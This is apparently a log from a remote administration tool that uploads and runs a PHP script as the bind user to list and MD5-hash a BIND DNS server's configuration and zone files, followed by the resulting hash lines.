MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:39:13: Establishing a connection
2026-04-25 18:39:13: 

PUT: /tmp/pkp597260

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:39:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp597260; rm /tmp/pkp597260'

2026-04-25 18:39:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
